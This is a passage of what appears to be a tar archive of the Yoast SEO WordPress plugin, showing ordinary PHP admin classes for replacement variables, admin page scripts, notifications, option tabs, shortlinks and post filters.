		'post'                     => [ 'id', 'term404', 'pt_single', 'pt_plural' ],
		// Custom post type.
		'custom_post_type'         => [ 'id', 'term404', 'pt_single', 'pt_plural', 'parent_title' ],
		// Settings - archive pages.
		'custom-post-type_archive' => [ 'pt_single', 'pt_plural' ],

		// Taxonomies.
		'category'                 => [ 'term_title', 'term_description', 'category_description', 'parent_title', 'term_hierarchy' ],
		'post_tag'                 => [ 'term_title', 'term_description', 'tag_description' ],
		'post_format'              => [ 'term_title' ],
		// Custom taxonomy.
		'term-in-custom-taxonomy'  => [ 'term_title', 'term_description', 'category_description', 'parent_title', 'term_hierarchy' ],

		// Settings - special pages.
		'search'                   => [ 'searchphrase' ],
	];

	/**
	 * WPSEO_Admin_Editor_Specific_Replace_Vars constructor.
	 */
	public function __construct() {
		$this->add_for_page_types(
			[ 'page', 'post', 'custom_post_type' ],
			WPSEO_Custom_Fields::get_custom_fields()
		);

		$this->add_for_page_types(
			[ 'post', 'term-in-custom-taxonomy' ],
			WPSEO_Custom_Taxonomies::get_custom_taxonomies()
		);
	}

	/**
	 * Retrieves the editor specific replacement variables.
	 *
	 * @return array The editor specific replacement variables.
	 */
	public function get() {
		/**
		 * Filter: Adds the possibility to add extra editor specific replacement variables.
		 *
		 * @param array $replacement_variables Array of editor specific replace vars.
		 */
		$replacement_variables = apply_filters(
			'wpseo_editor_specific_replace_vars',
			$this->replacement_variables
		);

		if ( ! is_array( $replacement_variables ) ) {
			$replacement_variables = $this->replacement_variables;
		}

		return array_filter( $replacement_variables, 'is_array' );
	}

	/**
	 * Retrieves the generic replacement variable names.
	 *
	 * Which are the replacement variables without the editor specific ones.
	 *
	 * @param array $replacement_variables Possibly generic replacement variables.
	 *
	 * @return array The generic replacement variable names.
	 */
	public function get_generic( $replacement_variables ) {
		$shared_variables = array_diff(
			$this->extract_names( $replacement_variables ),
			$this->get_unique_replacement_variables()
		);

		return array_values( $shared_variables );
	}

	/**
	 * Determines the page type of the current term.
	 *
	 * @param string $taxonomy The taxonomy name.
	 *
	 * @return string The page type.
	 */
	public function determine_for_term( $taxonomy ) {
		$replacement_variables = $this->get();
		if ( array_key_exists( $taxonomy, $replacement_variables ) ) {
			return $taxonomy;
		}

		return 'term-in-custom-taxonomy';
	}

	/**
	 * Determines the page type of the current post.
	 *
	 * @param WP_Post $post A WordPress post instance.
	 *
	 * @return string The page type.
	 */
	public function determine_for_post( $post ) {
		if ( $post instanceof WP_Post === false ) {
			return 'post';
		}

		$replacement_variables = $this->get();
		if ( array_key_exists( $post->post_type, $replacement_variables ) ) {
			return $post->post_type;
		}

		return 'custom_post_type';
	}

	/**
	 * Determines the page type for a post type.
	 *
	 * @param string $post_type The name of the post_type.
	 * @param string $fallback  The page type to fall back to.
	 *
	 * @return string The page type.
	 */
	public function determine_for_post_type( $post_type, $fallback = 'custom_post_type' ) {
		if ( ! $this->has_for_page_type( $post_type ) ) {
			return $fallback;
		}

		return $post_type;
	}

	/**
	 * Determines the page type for an archive page.
	 *
	 * @param string $name     The name of the archive.
	 * @param string $fallback The page type to fall back to.
	 *
	 * @return string The page type.
	 */
	public function determine_for_archive( $name, $fallback = 'custom-post-type_archive' ) {
		$page_type = $name . '_archive';

		if ( ! $this->has_for_page_type( $page_type ) ) {
			return $fallback;
		}

		return $page_type;
	}

	/**
	 * Adds the replavement variables for the given page types.
	 *
	 * @param array $page_types                   Page types to add variables for.
	 * @param array $replacement_variables_to_add The variables to add.
	 *
	 * @return void
	 */
	protected function add_for_page_types( array $page_types, array $replacement_variables_to_add ) {
		if ( empty( $replacement_variables_to_add ) ) {
			return;
		}

		$replacement_variables_to_add = array_fill_keys( $page_types, $replacement_variables_to_add );
		$replacement_variables        = $this->replacement_variables;

		$this->replacement_variables = array_merge_recursive( $replacement_variables, $replacement_variables_to_add );
	}

	/**
	 * Extracts the names from the given replacements variables.
	 *
	 * @param array $replacement_variables Replacement variables to extract the name from.
	 *
	 * @return array Extracted names.
	 */
	protected function extract_names( $replacement_variables ) {
		$extracted_names = [];

		foreach ( $replacement_variables as $replacement_variable ) {
			if ( empty( $replacement_variable['name'] ) ) {
				continue;
			}

			$extracted_names[] = $replacement_variable['name'];
		}

		return $extracted_names;
	}

	/**
	 * Returns whether the given page type has editor specific replace vars.
	 *
	 * @param string $page_type The page type to check.
	 *
	 * @return bool True if there are associated editor specific replace vars.
	 */
	protected function has_for_page_type( $page_type ) {
		$replacement_variables = $this->get();

		return ( ! empty( $replacement_variables[ $page_type ] ) && is_array( $replacement_variables[ $page_type ] ) );
	}

	/**
	 * Merges all editor specific replacement variables into one array and removes duplicates.
	 *
	 * @return array The list of unique editor specific replacement variables.
	 */
	protected function get_unique_replacement_variables() {
		$merged_replacement_variables = call_user_func_array( 'array_merge', array_values( $this->get() ) );

		return array_unique( $merged_replacement_variables );
	}
}
wordpress-seo/admin/class-config.php000064400000012127147510273110013535 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

use Yoast\WP\SEO\Actions\Alert_Dismissal_Action;
use Yoast\WP\SEO\General\User_Interface\General_Page_Integration;
use Yoast\WP\SEO\Integrations\Academy_Integration;
use Yoast\WP\SEO\Integrations\Settings_Integration;
use Yoast\WP\SEO\Integrations\Support_Integration;
use Yoast\WP\SEO\Promotions\Application\Promotion_Manager;

/**
 * Class WPSEO_Admin_Pages.
 *
 * Class with functionality for the Yoast SEO admin pages.
 */
class WPSEO_Admin_Pages {

	/**
	 * The option in use for the current admin page.
	 *
	 * @var string
	 */
	public $currentoption = 'wpseo';

	/**
	 * Holds the asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $asset_manager;

	/**
	 * Class constructor, which basically only hooks the init function on the init hook.
	 */
	public function __construct() {
		add_action( 'init', [ $this, 'init' ], 20 );

		$this->asset_manager = new WPSEO_Admin_Asset_Manager();
	}

	/**
	 * Make sure the needed scripts are loaded for admin pages.
	 *
	 * @return void
	 */
	public function init() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		$page = isset( $_GET['page'] ) && is_string( $_GET['page'] ) ? sanitize_text_field( wp_unslash( $_GET['page'] ) ) : '';

		// Don't load the scripts for the following pages.
		$page_exceptions    = in_array( $page, [ Settings_Integration::PAGE, Academy_Integration::PAGE, Support_Integration::PAGE ], true );
		$new_dashboard_page = ( $page === General_Page_Integration::PAGE && ! is_network_admin() );
		if ( $page_exceptions || $new_dashboard_page ) {
			// Bail, this is managed in the applicable integration.
			return;
		}
		add_action( 'admin_enqueue_scripts', [ $this, 'config_page_scripts' ] );
		add_action( 'admin_enqueue_scripts', [ $this, 'config_page_styles' ] );
	}

	/**
	 * Loads the required styles for the config page.
	 *
	 * @return void
	 */
	public function config_page_styles() {
		wp_enqueue_style( 'dashboard' );
		wp_enqueue_style( 'thickbox' );
		wp_enqueue_style( 'global' );
		wp_enqueue_style( 'wp-admin' );
		$this->asset_manager->enqueue_style( 'admin-css' );
		$this->asset_manager->enqueue_style( 'monorepo' );

		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		$page = isset( $_GET['page'] ) && is_string( $_GET['page'] ) ? sanitize_text_field( wp_unslash( $_GET['page'] ) ) : '';
		if ( $page === 'wpseo_licenses' ) {
			$this->asset_manager->enqueue_style( 'tailwind' );
		}
	}

	/**
	 * Loads the required scripts for the config page.
	 *
	 * @return void
	 */
	public function config_page_scripts() {
		$this->asset_manager->enqueue_script( 'settings' );
		wp_enqueue_script( 'dashboard' );
		wp_enqueue_script( 'thickbox' );

		$alert_dismissal_action = YoastSEO()->classes->get( Alert_Dismissal_Action::class );
		$dismissed_alerts       = $alert_dismissal_action->all_dismissed();

		$script_data = [
			'dismissedAlerts'                => $dismissed_alerts,
			'isRtl'                          => is_rtl(),
			'isPremium'                      => YoastSEO()->helpers->product->is_premium(),
			'currentPromotions'              => YoastSEO()->classes->get( Promotion_Manager::class )->get_current_promotions(),
			'webinarIntroFirstTimeConfigUrl' => $this->get_webinar_shortlink(),
			'linkParams'                     => WPSEO_Shortlinker::get_query_params(),
			'pluginUrl'                      => plugins_url( '', WPSEO_FILE ),
		];

		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		$page = isset( $_GET['page'] ) && is_string( $_GET['page'] ) ? sanitize_text_field( wp_unslash( $_GET['page'] ) ) : '';

		if ( in_array( $page, [ WPSEO_Admin::PAGE_IDENTIFIER, 'wpseo_workouts' ], true ) ) {
			wp_enqueue_media();

			$script_data['userEditUrl'] = add_query_arg( 'user_id', '{user_id}', admin_url( 'user-edit.php' ) );
		}

		if ( $page === 'wpseo_tools' ) {
			$this->enqueue_tools_scripts();
		}

		$this->asset_manager->localize_script( 'settings', 'wpseoScriptData', $script_data );
		$this->asset_manager->enqueue_user_language_script();
	}

	/**
	 * Enqueues and handles all the tool dependencies.
	 *
	 * @return void
	 */
	private function enqueue_tools_scripts() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		$tool = isset( $_GET['tool'] ) && is_string( $_GET['tool'] ) ? sanitize_text_field( wp_unslash( $_GET['tool'] ) ) : '';

		if ( empty( $tool ) ) {
			$this->asset_manager->enqueue_script( 'yoast-seo' );
		}

		if ( $tool === 'bulk-editor' ) {
			$this->asset_manager->enqueue_script( 'bulk-editor' );
		}
	}

	/**
	 * Returns the appropriate shortlink for the Webinar.
	 *
	 * @return string The shortlink for the Webinar.
	 */
	private function get_webinar_shortlink() {
		if ( YoastSEO()->helpers->product->is_premium() ) {
			return WPSEO_Shortlinker::get( 'https://yoa.st/webinar-intro-first-time-config-premium' );
		}

		return WPSEO_Shortlinker::get( 'https://yoa.st/webinar-intro-first-time-config' );
	}
}
wordpress-seo/admin/class-schema-person-upgrade-notification.php000064400000004354147510273110021150 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Notifies the user to update the Search Appearance settings when the site is set to represent a Person,
 * but no person (name) has been chosen.
 */
class WPSEO_Schema_Person_Upgrade_Notification implements WPSEO_WordPress_Integration {

	/**
	 * Registers all hooks to WordPress
	 *
	 * @return void
	 */
	public function register_hooks() {
		add_action( 'admin_init', [ $this, 'handle_notification' ] );
	}

	/**
	 * Handles if the notification should be added or removed.
	 *
	 * @return void
	 */
	public function handle_notification() {
		$company_or_person_user_id = WPSEO_Options::get( 'company_or_person_user_id', false );
		if ( WPSEO_Options::get( 'company_or_person' ) === 'person' && empty( $company_or_person_user_id ) ) {
			$this->add_notification();
			return;
		}

		$this->remove_notification();
	}

	/**
	 * Adds a notification to the notification center.
	 *
	 * @return void
	 */
	protected function add_notification() {
		$notification_center = Yoast_Notification_Center::get();
		$notification_center->add_notification( $this->get_notification() );
	}

	/**
	 * Removes a notification to the notification center.
	 *
	 * @return void
	 */
	protected function remove_notification() {
		$notification_center = Yoast_Notification_Center::get();
		$notification_center->remove_notification( $this->get_notification() );
	}

	/**
	 * Gets the notification object.
	 *
	 * @return Yoast_Notification
	 */
	protected function get_notification() {
		$message = sprintf(
			/* translators: %1$s is a link start tag to the Search Appearance settings, %2$s is the link closing tag. */
			__( 'You have previously set your site to represent a person. We’ve improved our functionality around Schema and the Knowledge Graph, so you should go in and %1$scomplete those settings%2$s.', 'wordpress-seo' ),
			'<a href="' . esc_url( admin_url( 'admin.php?page=wpseo_page_settings#/site-representation' ) ) . '">',
			'</a>'
		);

		$notification = new Yoast_Notification(
			$message,
			[
				'type'         => Yoast_Notification::WARNING,
				'id'           => 'wpseo-schema-person-upgrade',
				'capabilities' => 'wpseo_manage_options',
				'priority'     => 0.8,
			]
		);

		return $notification;
	}
}
wordpress-seo/admin/class-option-tabs.php000064400000004407147510273110014531 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Options\Tabs
 */

/**
 * Class WPSEO_Option_Tabs.
 */
class WPSEO_Option_Tabs {

	/**
	 * Tabs base.
	 *
	 * @var string
	 */
	private $base;

	/**
	 * The tabs in this group.
	 *
	 * @var array
	 */
	private $tabs = [];

	/**
	 * Name of the active tab.
	 *
	 * @var string
	 */
	private $active_tab = '';

	/**
	 * WPSEO_Option_Tabs constructor.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param string $base       Base of the tabs.
	 * @param string $active_tab Currently active tab.
	 */
	public function __construct( $base, $active_tab = '' ) {
		$this->base = sanitize_title( $base );

		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		$tab              = isset( $_GET['tab'] ) && is_string( $_GET['tab'] ) ? sanitize_text_field( wp_unslash( $_GET['tab'] ) ) : '';
		$this->active_tab = empty( $tab ) ? $active_tab : $tab;
	}

	/**
	 * Get the base.
	 *
	 * @return string
	 */
	public function get_base() {
		return $this->base;
	}

	/**
	 * Add a tab.
	 *
	 * @param WPSEO_Option_Tab $tab Tab to add.
	 *
	 * @return $this
	 */
	public function add_tab( WPSEO_Option_Tab $tab ) {
		$this->tabs[] = $tab;

		return $this;
	}

	/**
	 * Get active tab.
	 *
	 * @return WPSEO_Option_Tab|null Get the active tab.
	 */
	public function get_active_tab() {
		if ( empty( $this->active_tab ) ) {
			return null;
		}

		$active_tabs = array_filter( $this->tabs, [ $this, 'is_active_tab' ] );
		if ( ! empty( $active_tabs ) ) {
			$active_tabs = array_values( $active_tabs );
			if ( count( $active_tabs ) === 1 ) {
				return $active_tabs[0];
			}
		}

		return null;
	}

	/**
	 * Is the tab the active tab.
	 *
	 * @param WPSEO_Option_Tab $tab Tab to check for active tab.
	 *
	 * @return bool
	 */
	public function is_active_tab( WPSEO_Option_Tab $tab ) {
		return ( $tab->get_name() === $this->active_tab );
	}

	/**
	 * Get all tabs.
	 *
	 * @return WPSEO_Option_Tab[]
	 */
	public function get_tabs() {
		return $this->tabs;
	}

	/**
	 * Display the tabs.
	 *
	 * @param Yoast_Form $yform Yoast Form needed in the views.
	 *
	 * @return void
	 */
	public function display( Yoast_Form $yform ) {
		$formatter = new WPSEO_Option_Tabs_Formatter();
		$formatter->run( $this, $yform );
	}
}
wordpress-seo/admin/class-expose-shortlinks.php000064400000021127147510273110015771 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Exposes shortlinks in a global, so that we can pass them to our Javascript components.
 */
class WPSEO_Expose_Shortlinks implements WPSEO_WordPress_Integration {

	/**
	 * Array containing the keys and shortlinks.
	 *
	 * @var array
	 */
	private $shortlinks = [
		'shortlinks.advanced.allow_search_engines'                  => 'https://yoa.st/allow-search-engines',
		'shortlinks.advanced.follow_links'                          => 'https://yoa.st/follow-links',
		'shortlinks.advanced.meta_robots'                           => 'https://yoa.st/meta-robots-advanced',
		'shortlinks.advanced.breadcrumbs_title'                     => 'https://yoa.st/breadcrumbs-title',
		'shortlinks.metabox.schema.explanation'                     => 'https://yoa.st/400',
		'shortlinks.metabox.schema.page_type'                       => 'https://yoa.st/402',
		'shortlinks.sidebar.schema.explanation'                     => 'https://yoa.st/401',
		'shortlinks.sidebar.schema.page_type'                       => 'https://yoa.st/403',
		'shortlinks.focus_keyword_info'                             => 'https://yoa.st/focus-keyword',
		'shortlinks.nofollow_sponsored'                             => 'https://yoa.st/nofollow-sponsored',
		'shortlinks.snippet_preview_info'                           => 'https://yoa.st/snippet-preview',
		'shortlinks.cornerstone_content_info'                       => 'https://yoa.st/1i9',
		'shortlinks.upsell.social_preview.social'                   => 'https://yoa.st/social-preview-facebook',
		'shortlinks.upsell.social_preview.x'                        => 'https://yoa.st/social-preview-twitter',
		'shortlinks.upsell.sidebar.news'                            => 'https://yoa.st/get-news-sidebar',
		'shortlinks.upsell.sidebar.focus_keyword_synonyms_button'   => 'https://yoa.st/keyword-synonyms-popup-sidebar',
		'shortlinks.upsell.sidebar.premium_seo_analysis_button'     => 'https://yoa.st/premium-seo-analysis-sidebar',
		'shortlinks.upsell.sidebar.focus_keyword_additional_button' => 'https://yoa.st/add-keywords-popup-sidebar',
		'shortlinks.upsell.sidebar.additional_link'                 => 'https://yoa.st/textlink-keywords-sidebar',
		'shortlinks.upsell.sidebar.additional_button'               => 'https://yoa.st/add-keywords-sidebar',
		'shortlinks.upsell.sidebar.keyphrase_distribution'          => 'https://yoa.st/keyphrase-distribution-sidebar',
		'shortlinks.upsell.sidebar.word_complexity'                 => 'https://yoa.st/word-complexity-sidebar',
		'shortlinks.upsell.sidebar.internal_linking_suggestions'    => 'https://yoa.st/internal-linking-suggestions-sidebar',
		'shortlinks.upsell.sidebar.highlighting_seo_analysis'       => 'https://yoa.st/highlighting-seo-analysis',
		'shortlinks.upsell.sidebar.highlighting_readability_analysis' => 'https://yoa.st/highlighting-readability-analysis',
		'shortlinks.upsell.sidebar.highlighting_inclusive_analysis' => 'https://yoa.st/highlighting-inclusive-analysis',
		'shortlinks.upsell.metabox.news'                            => 'https://yoa.st/get-news-metabox',
		'shortlinks.upsell.metabox.go_premium'                      => 'https://yoa.st/pe-premium-page',
		'shortlinks.upsell.metabox.focus_keyword_synonyms_button'   => 'https://yoa.st/keyword-synonyms-popup',
		'shortlinks.upsell.metabox.premium_seo_analysis_button'     => 'https://yoa.st/premium-seo-analysis-metabox',
		'shortlinks.upsell.metabox.focus_keyword_additional_button' => 'https://yoa.st/add-keywords-popup',
		'shortlinks.upsell.metabox.additional_link'                 => 'https://yoa.st/textlink-keywords-metabox',
		'shortlinks.upsell.metabox.additional_button'               => 'https://yoa.st/add-keywords-metabox',
		'shortlinks.upsell.metabox.keyphrase_distribution'          => 'https://yoa.st/keyphrase-distribution-metabox',
		'shortlinks.upsell.metabox.word_complexity'                 => 'https://yoa.st/word-complexity-metabox',
		'shortlinks.upsell.metabox.internal_linking_suggestions'    => 'https://yoa.st/internal-linking-suggestions-metabox',
		'shortlinks.upsell.gsc.create_redirect_button'              => 'https://yoa.st/redirects',
		'shortlinks.readability_analysis_info'                      => 'https://yoa.st/readability-analysis',
		'shortlinks.inclusive_language_analysis_info'               => 'https://yoa.st/inclusive-language-analysis',
		'shortlinks.activate_premium_info'                          => 'https://yoa.st/activate-subscription',
		'shortlinks.upsell.sidebar.morphology_upsell_metabox'       => 'https://yoa.st/morphology-upsell-metabox',
		'shortlinks.upsell.sidebar.morphology_upsell_sidebar'       => 'https://yoa.st/morphology-upsell-sidebar',
		'shortlinks.semrush.volume_help'                            => 'https://yoa.st/3-v',
		'shortlinks.semrush.trend_help'                             => 'https://yoa.st/3-v',
		'shortlinks.semrush.prices'                                 => 'https://yoa.st/semrush-prices',
		'shortlinks.semrush.premium_landing_page'                   => 'https://yoa.st/413',
		'shortlinks.wincher.seo_performance'                        => 'https://yoa.st/wincher-integration',
		'shortlinks-insights-estimated_reading_time'                => 'https://yoa.st/4fd',
		'shortlinks-insights-flesch_reading_ease'                   => 'https://yoa.st/34r',
		'shortlinks-insights-flesch_reading_ease_sidebar'           => 'https://yoa.st/4mf',
		'shortlinks-insights-flesch_reading_ease_metabox'           => 'https://yoa.st/4mg',
		'shortlinks-insights-flesch_reading_ease_article'           => 'https://yoa.st/34s',
		'shortlinks-insights-keyword_research_link'                 => 'https://yoa.st/keyword-research-metabox',
		'shortlinks-insights-upsell-sidebar-prominent_words'        => 'https://yoa.st/prominent-words-upsell-sidebar',
		'shortlinks-insights-upsell-metabox-prominent_words'        => 'https://yoa.st/prominent-words-upsell-metabox',
		'shortlinks-insights-upsell-elementor-prominent_words'      => 'https://yoa.st/prominent-words-upsell-elementor',
		'shortlinks-insights-word_count'                            => 'https://yoa.st/word-count',
		'shortlinks-insights-upsell-sidebar-text_formality'         => 'https://yoa.st/formality-upsell-sidebar',
		'shortlinks-insights-upsell-metabox-text_formality'         => 'https://yoa.st/formality-upsell-metabox',
		'shortlinks-insights-upsell-elementor-text_formality'       => 'https://yoa.st/formality-upsell-elementor',
		'shortlinks-insights-text_formality_info_free'              => 'https://yoa.st/formality-free',
		'shortlinks-insights-text_formality_info_premium'           => 'https://yoa.st/formality',
	];

	/**
	 * Registers all hooks to WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		add_filter( 'wpseo_admin_l10n', [ $this, 'expose_shortlinks' ] );
	}

	/**
	 * Adds shortlinks to the passed array.
	 *
	 * @param array $input The array to add shortlinks to.
	 *
	 * @return array The passed array with the additional shortlinks.
	 */
	public function expose_shortlinks( $input ) {
		foreach ( $this->get_shortlinks() as $key => $shortlink ) {
			$input[ $key ] = WPSEO_Shortlinker::get( $shortlink );
		}

		$input['default_query_params'] = WPSEO_Shortlinker::get_query_params();

		return $input;
	}

	/**
	 * Retrieves the shortlinks.
	 *
	 * @return array The shortlinks.
	 */
	private function get_shortlinks() {
		if ( ! $this->is_term_edit() ) {
			return $this->shortlinks;
		}

		$shortlinks = $this->shortlinks;

		$shortlinks['shortlinks.upsell.metabox.focus_keyword_synonyms_button']   = 'https://yoa.st/keyword-synonyms-popup-term';
		$shortlinks['shortlinks.upsell.metabox.focus_keyword_additional_button'] = 'https://yoa.st/add-keywords-popup-term';
		$shortlinks['shortlinks.upsell.metabox.additional_link']                 = 'https://yoa.st/textlink-keywords-metabox-term';
		$shortlinks['shortlinks.upsell.metabox.additional_button']               = 'https://yoa.st/add-keywords-metabox-term';
		$shortlinks['shortlinks.upsell.sidebar.morphology_upsell_metabox']       = 'https://yoa.st/morphology-upsell-metabox-term';
		$shortlinks['shortlinks.upsell.metabox.keyphrase_distribution']          = 'https://yoa.st/keyphrase-distribution-metabox-term';
		$shortlinks['shortlinks.upsell.metabox.word_complexity']                 = 'https://yoa.st/word-complexity-metabox-term';
		$shortlinks['shortlinks.upsell.metabox.internal_linking_suggestions']    = 'https://yoa.st/internal-linking-suggestions-metabox-term';

		return $shortlinks;
	}

	/**
	 * Checks if the current page is a term edit page.
	 *
	 * @return bool True when page is term edit.
	 */
	private function is_term_edit() {
		global $pagenow;

		return WPSEO_Taxonomy::is_term_edit( $pagenow );
	}
}
wordpress-seo/admin/notifiers/interface-notification-handler.php000064400000000665147510273110021232 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Notifiers
 */

/**
 * Dictates the required methods for a Notification Handler implementation.
 */
interface WPSEO_Notification_Handler {

	/**
	 * Handles the notification object.
	 *
	 * @param Yoast_Notification_Center $notification_center The notification center object.
	 *
	 * @return void
	 */
	public function handle( Yoast_Notification_Center $notification_center );
}
wordpress-seo/admin/notifiers/dismissible-notification.php000064400000006147147510273110020167 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Notifiers
 */

/**
 * Abstract class representing a dismissible notification.
 */
abstract class WPSEO_Dismissible_Notification implements WPSEO_Listener, WPSEO_Notification_Handler {

	/**
	 * The identifier for the notification.
	 *
	 * @var string
	 */
	protected $notification_identifier = '';

	/**
	 * Retrieves instance of a notification.
	 *
	 * @return Yoast_Notification The notification.
	 */
	abstract protected function get_notification();

	/**
	 * Listens to an argument in the request URL and triggers an action.
	 *
	 * @return void
	 */
	public function listen() {
		if ( $this->get_listener_value() !== $this->notification_identifier ) {
			return;
		}

		$this->dismiss();
	}

	/**
	 * Adds the notification if applicable, otherwise removes it.
	 *
	 * @param Yoast_Notification_Center $notification_center The notification center object.
	 *
	 * @return void
	 */
	public function handle( Yoast_Notification_Center $notification_center ) {
		if ( $this->is_applicable() ) {
			$notification = $this->get_notification();
			$notification_center->add_notification( $notification );

			return;
		}

		$notification_center->remove_notification_by_id( 'wpseo-' . $this->notification_identifier );
	}

	/**
	 * Listens to an argument in the request URL and triggers an action.
	 *
	 * @return void
	 */
	protected function dismiss() {
		$this->set_dismissal_state();
		$this->redirect_to_dashboard();
	}

	/**
	 * Checks if a notice is applicable.
	 *
	 * @return bool Whether a notice should be shown or not.
	 */
	protected function is_applicable() {
		return $this->is_notice_dismissed() === false;
	}

	/**
	 * Checks whether the notification has been dismissed.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return bool True when notification is dismissed.
	 */
	protected function is_notice_dismissed() {
		return get_user_meta( get_current_user_id(), 'wpseo-remove-' . $this->notification_identifier, true ) === '1';
	}

	/**
	 * Retrieves the value where listener is listening for.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return string|null The listener value or null if not set.
	 */
	protected function get_listener_value() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: Normally we would need to check for a nonce here but this class is not used anymore.
		if ( isset( $_GET['yoast_dismiss'] ) && is_string( $_GET['yoast_dismiss'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: Normally we would need to check for a nonce here but this class is not used anymore.
			return sanitize_text_field( wp_unslash( $_GET['yoast_dismiss'] ) );
		}
		return null;
	}

	/**
	 * Dismisses the notification.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	protected function set_dismissal_state() {
		update_user_meta( get_current_user_id(), 'wpseo-remove-' . $this->notification_identifier, true );
	}

	/**
	 * Redirects the user back to the dashboard.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	protected function redirect_to_dashboard() {
		wp_safe_redirect( admin_url( 'admin.php?page=wpseo_dashboard' ) );
		exit;
	}
}
wordpress-seo/admin/filters/class-abstract-post-filter.php000064400000012545147510273110020015 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Filters
 */

/**
 * Class WPSEO_Abstract_Post_Filter.
 */
abstract class WPSEO_Abstract_Post_Filter implements WPSEO_WordPress_Integration {

	/**
	 * The filter's query argument.
	 *
	 * @var string
	 */
	public const FILTER_QUERY_ARG = 'yoast_filter';

	/**
	 * Modify the query based on the FILTER_QUERY_ARG variable in $_GET.
	 *
	 * @param string $where Query variables.
	 *
	 * @return string The modified query.
	 */
	abstract public function filter_posts( $where );

	/**
	 * Returns the query value this filter uses.
	 *
	 * @return string The query value this filter uses.
	 */
	abstract public function get_query_val();

	/**
	 * Returns the total number of posts that match this filter.
	 *
	 * @return int The total number of posts that match this filter.
	 */
	abstract protected function get_post_total();

	/**
	 * Returns the label for this filter.
	 *
	 * @return string The label for this filter.
	 */
	abstract protected function get_label();

	/**
	 * Registers the hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		add_action( 'admin_init', [ $this, 'add_filter_links' ], 11 );

		add_filter( 'posts_where', [ $this, 'filter_posts' ] );

		if ( $this->is_filter_active() ) {
			add_action( 'restrict_manage_posts', [ $this, 'render_hidden_input' ] );
		}

		if ( $this->is_filter_active() ) {
			add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_explanation_assets' ] );
		}
	}

	/**
	 * Adds the filter links to the view_edit screens to give the user a filter link.
	 *
	 * @return void
	 */
	public function add_filter_links() {
		foreach ( $this->get_post_types() as $post_type ) {
			add_filter( 'views_edit-' . $post_type, [ $this, 'add_filter_link' ] );
		}
	}

	/**
	 * Enqueues the necessary assets to display a filter explanation.
	 *
	 * @return void
	 */
	public function enqueue_explanation_assets() {
		$explanation = $this->get_explanation();

		if ( $explanation === null ) {
			return;
		}

		$asset_manager = new WPSEO_Admin_Asset_Manager();
		$asset_manager->enqueue_script( 'filter-explanation' );
		$asset_manager->enqueue_style( 'filter-explanation' );
		$asset_manager->localize_script(
			'filter-explanation',
			'yoastFilterExplanation',
			[ 'text' => $explanation ]
		);
	}

	/**
	 * Adds a filter link to the views.
	 *
	 * @param array<string, string> $views Array with the views.
	 *
	 * @return array<string, string> Array of views including the added view.
	 */
	public function add_filter_link( $views ) {
		$views[ 'yoast_' . $this->get_query_val() ] = sprintf(
			'<a href="%1$s"%2$s>%3$s</a> (%4$s)',
			esc_url( $this->get_filter_url() ),
			( $this->is_filter_active() ) ? ' class="current" aria-current="page"' : '',
			$this->get_label(),
			$this->get_post_total()
		);

		return $views;
	}

	/**
	 * Returns a text explaining this filter. Null if no explanation is necessary.
	 *
	 * @return string|null The explanation or null.
	 */
	protected function get_explanation() {
		return null;
	}

	/**
	 * Renders a hidden input to preserve this filter's state when using sub-filters.
	 *
	 * @return void
	 */
	public function render_hidden_input() {
		echo '<input type="hidden" name="' . esc_attr( self::FILTER_QUERY_ARG ) . '" value="' . esc_attr( $this->get_query_val() ) . '">';
	}

	/**
	 * Returns an url to edit.php with post_type and this filter as the query arguments.
	 *
	 * @return string The url to activate this filter.
	 */
	protected function get_filter_url() {
		$query_args = [
			self::FILTER_QUERY_ARG => $this->get_query_val(),
			'post_type'            => $this->get_current_post_type(),
		];

		return add_query_arg( $query_args, 'edit.php' );
	}

	/**
	 * Returns true when the filter is active.
	 *
	 * @return bool Whether the filter is active.
	 */
	protected function is_filter_active() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET[ self::FILTER_QUERY_ARG ] ) && is_string( $_GET[ self::FILTER_QUERY_ARG ] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
			return sanitize_text_field( wp_unslash( $_GET[ self::FILTER_QUERY_ARG ] ) ) === $this->get_query_val();
		}
		return false;
	}

	/**
	 * Returns the current post type.
	 *
	 * @return string The current post type.
	 */
	protected function get_current_post_type() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['post_type'] ) && is_string( $_GET['post_type'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
			$post_type = sanitize_text_field( wp_unslash( $_GET['post_type'] ) );
			if ( ! empty( $post_type ) ) {
				return $post_type;
			}
		}
		return 'post';
	}

	/**
	 * Returns the post types to which this filter should be added.
	 *
	 * @return array The post types to which this filter should be added.
	 */
	protected function get_post_types() {
		return WPSEO_Post_Type::get_accessible_post_types();
	}

	/**
